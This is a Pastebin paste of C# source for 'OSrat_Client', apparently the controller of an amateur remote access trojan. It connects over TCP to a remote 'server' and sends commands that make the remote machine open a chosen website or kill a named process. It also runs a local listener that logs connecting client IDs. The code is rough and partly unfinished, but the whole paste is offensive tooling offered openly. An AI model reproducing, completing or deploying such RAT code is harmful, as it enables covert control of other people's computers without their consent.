Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Windows.Forms;
- //resources added
- using System.Net;
- using System.Net.Sockets;
- using System.Diagnostics;
- using System.Threading;
- //
- namespace OSrat_Client
- {
- public partial class Client : Form
- {
- public Client()
- {
- InitializeComponent();
- }
- #region Form load/Close
- private void Client_Load(object sender, EventArgs e)
- {
- //Code that goes here runs when the program is run
- console_txt.AppendText(Environment.NewLine);
- console_txt.AppendText("OS_Client " + version_lbl .Text+ " has started");
- this.Size = new Size(515, 300);
- }
- private void Client_FormClosing(object sender, FormClosingEventArgs e)
- {
- //this stops the thread that the listener is running, if not the process never stops
- tcpc.Stop();
- sock.Close();
- }
- private void Client_FormClosed(object sender, FormClosedEventArgs e)
- {
- tcpc.Stop();
- sock.Close();
- }
- #endregion
- #region Vital program parts
- TcpClient sock = new TcpClient();
- IPAddress ip = IPAddress.Parse("127.0.0.1");
- int port = 6961;
- TcpListener tcpc = new TcpListener(6961);
- TcpListener Server = new TcpListener(6961);
- Thread ServThread1 = null;
- #endregion
- #region Voids
- //sends data to server
- public void dat(string dat)
- {
- NetworkStream nstream = sock.GetStream();
- Byte[] bit = System.Text.Encoding.ASCII.GetBytes(dat);
- nstream.Write(bit, 0, bit.Length);
- }
- //connects to server
- private void connect()
- {
- ip = IPAddress.Parse(ServerIP_txt.Text);
- port = System.Convert.ToInt32(ServerPORT_txt.Text);
- try
- {
- sock.Connect(ip, port);
- ConnectLabel.Text = ("Connected To: " + ServerIP_txt.Text);
- console_txt.AppendText(Environment.NewLine + "Connected To: " + ServerIP_txt.Text);
- }
- catch (Exception)
- {
- console_txt.AppendText(Environment.NewLine + "ERROR: Cannot connect to: " + ServerIP_txt.Text + " Make sure server is running");
- }
- }
- //listen for connection
- private void listen()
- {
- try
- {
- tcpc.Start();
- sock = tcpc.AcceptTcpClient();
- check();
- }
- catch (Exception)
- {
- }
- }
- //check if someone connected
- private void check()
- {
- if (sock.Connected == true)
- {
- sock.SendTimeout = 5000;
- try
- {
- console_txt.AppendText(Environment.NewLine + "Client Connected....");
- }
- catch (Exception)
- {
- check();
- }
- }
- }
- //Baddass Threading void, thanks to my friend sniperx
- public class CThread
- {
- public static Thread Start(ThreadStart method)
- {
- Thread t = new Thread(new ThreadStart(method));
- t.Start();
- return t;
- }
- }
- public delegate void TargetMethod();
- //
- #endregion
- #region Command Buttons
- private void connect_btn_Click(object sender, EventArgs e)
- {
- try
- {
- connect();
- }
- catch (Exception)
- {
- console_txt.AppendText(Environment.NewLine + "ERROR: Invalid IP address!");
- }
- }
- private void website_btn_Click(object sender, EventArgs e)
- {
- try
- {
- dat("1*" + website_txt.Text);
- console_txt.AppendText(Environment.NewLine + "Visited: " + website_txt.Text);
- }
- catch (Exception)
- {
- console_txt.AppendText(Environment.NewLine);
- console_txt.AppendText("ERROR: Not Connected to a Server");
- }
- }
- private void command_btn_Click(object sender, EventArgs e)
- {
- try
- {
- dat("2*" + command_txt.Text);
- console_txt.AppendText(Environment.NewLine + "Killed: " +command_txt.Text);
- }
- catch (Exception)
- {
- console_txt.AppendText(Environment.NewLine + "ERROR: Not Connected to a Server");
- }
- }
- #endregion
- #region Bar Buttons
- //show console
- private void serverlist_btn_Click(object sender, EventArgs e)
- {
- if (serverlist_btn.Checked == true)
- {
- this.Size = new Size(515, 465);
- }
- else
- {
- this.Size = new Size(515, 300);
- }
- }
- //refresh client list
- private void refreshsv_btn_Click(object sender, EventArgs e)
- {
- try
- {
- console_txt.AppendText(Environment.NewLine + "Refreshing server list.....");
- }
- catch (Exception)
- {
- console_txt.AppendText(Environment.NewLine + "ERROR");
- }
- }
- //start local server
- public void startserver_btn_Click(object sender, EventArgs e)
- {
- try
- {
- console_txt.AppendText(Environment.NewLine +"Started client based server....");
- ServThread1 = CThread.Start(server3);
- stopsvr_btn.Visible = true;
- startserver_btn.Visible = false;
- console_txt.AppendText(Environment.NewLine + "Waiting for a connection... ");
- }
- catch (Exception)
- {
- console_txt.AppendText(Environment.NewLine + "ERROR");
- }
- }
- //stop local server
- public void stopsvr_btn_Click(object sender, EventArgs e)
- {
- try
- {
- console_txt.AppendText(Environment.NewLine + "Stoping client based server....");
- ServThread1.Abort();
- console_txt.AppendText(Environment.NewLine + "Stoped client based server....");
- stopsvr_btn.Visible = false;
- startserver_btn.Visible = true;
- }
- catch (Exception)
- {
- console_txt.AppendText(Environment.NewLine + "ERROR");
- }
- }
- #endregion
- #region Tasktray Icon
- //tray icon doubble click
- private void notifyIcon1_DoubleClick(object sender, EventArgs e)
- {
- if (WindowState == FormWindowState.Minimized)
- {
- Show();
- this.WindowState = FormWindowState.Normal;
- cxtRestore.Visible = false;
- cxtHide.Visible = true;
- }
- else
- {
- Hide();
- this.WindowState = FormWindowState.Minimized;
- cxtRestore.Visible = true;
- cxtHide.Visible = false;
- notifyIcon1.ShowBalloonTip(1000, "Notice", "OSrat_Client is now in the system tray", ToolTipIcon.Info);
- }
- }
- //Hide Client To tasktray
- private void cxtHide_Click(object sender, EventArgs e)
- {
- cxtRestore.Visible = true;
- cxtHide.Visible = false;
- Hide();
- this.WindowState = FormWindowState.Minimized;
- notifyIcon1.ShowBalloonTip(1000, "Notice", "OSrat_Client is now in the system tray", ToolTipIcon.Info);
- }
- //Restore Client from apptray
- private void cxtRestore_Click(object sender, EventArgs e)
- {
- cxtRestore.Visible = false;
- cxtHide.Visible = true;
- Show();
- this.WindowState = FormWindowState.Normal;
- }
- //Context menu exit
- private void exitToolStripMenuItem_Click(object sender, EventArgs e)
- {
- this.Close();
- }
- #endregion
- #region threads
- //new server type
- private void server1()
- {
- while (sock.Connected == false)
- {
- try
- {
- listen();
- }
- catch (Exception)
- {
- }
- }
- //while (true)
- //{
- //check();
- //}
- }
- //old server type
- private void server2()
- {
- try
- {
- IPAddress ipAd = IPAddress.Parse("127.0.0.1");
- /* Initializes the Listener */
- TcpListener myList = new TcpListener(ipAd, 6961);
- /* Start Listeneting at the specified port */
- myList.Start();
- Socket s = myList.AcceptSocket();
- if (s.Connected == true)
- {
- console_txt.AppendText(Environment.NewLine + "Client Connected....");
- }
- while (s.Connected == false)
- {
- s.Listen(6961);
- }
- //rancommands_txt.AppendText(Environment.NewLine + "Client Connected....");
- /* clean up */
- //s.Close();
- //myList.Stop();
- console_txt.AppendText(Environment.NewLine + "Stoped client based server....");
- }
- catch (Exception)
- {
- console_txt.AppendText(Environment.NewLine + "ERROR");
- }
- }
- //server test1
- public void server3()
- {
- try
- {
- Int32 port = 6961;
- IPAddress localAddr = IPAddress.Parse("127.0.0.1");
- TcpListener server = new TcpListener(localAddr, port);
- // Start listening for client requests.
- server.Start();
- // Enter the listening loop.
- while (true)
- {
- // Perform a blocking call to accept requests.
- // You could also user server.AcceptSocket() here.
- TcpClient client = server.AcceptTcpClient();
- //console_txt.AppendText(Environment.NewLine + "A Client has Connected!");
- NetworkStream nstream = client.GetStream();
- byte[] bit = new byte[client.ReceiveBufferSize + 1];
- nstream.Read(bit, 0, System.Convert.ToInt32(client.ReceiveBufferSize));
- string str = System.Text.Encoding.ASCII.GetString(bit);
- string[] id = str.Split('*');
- //get client info
- if (id[0] == "1")
- {
- string stri = id[1];
- string clientid = id[2];
- console_txt.AppendText(Environment.NewLine + stri);
- //this tells the client thank you
- Byte[] send = System.Text.Encoding.ASCII.GetBytes("1*" + "Thank you For Connecting " + clientid);
- nstream.Write(send, 0, send.Length);
- }
- }
- }
- catch (SocketException e)
- {
- console_txt.AppendText(Environment.NewLine + "ERROR");
- }
- }
- #endregion
- }
- }
Add Comment
Please, Sign In to add comment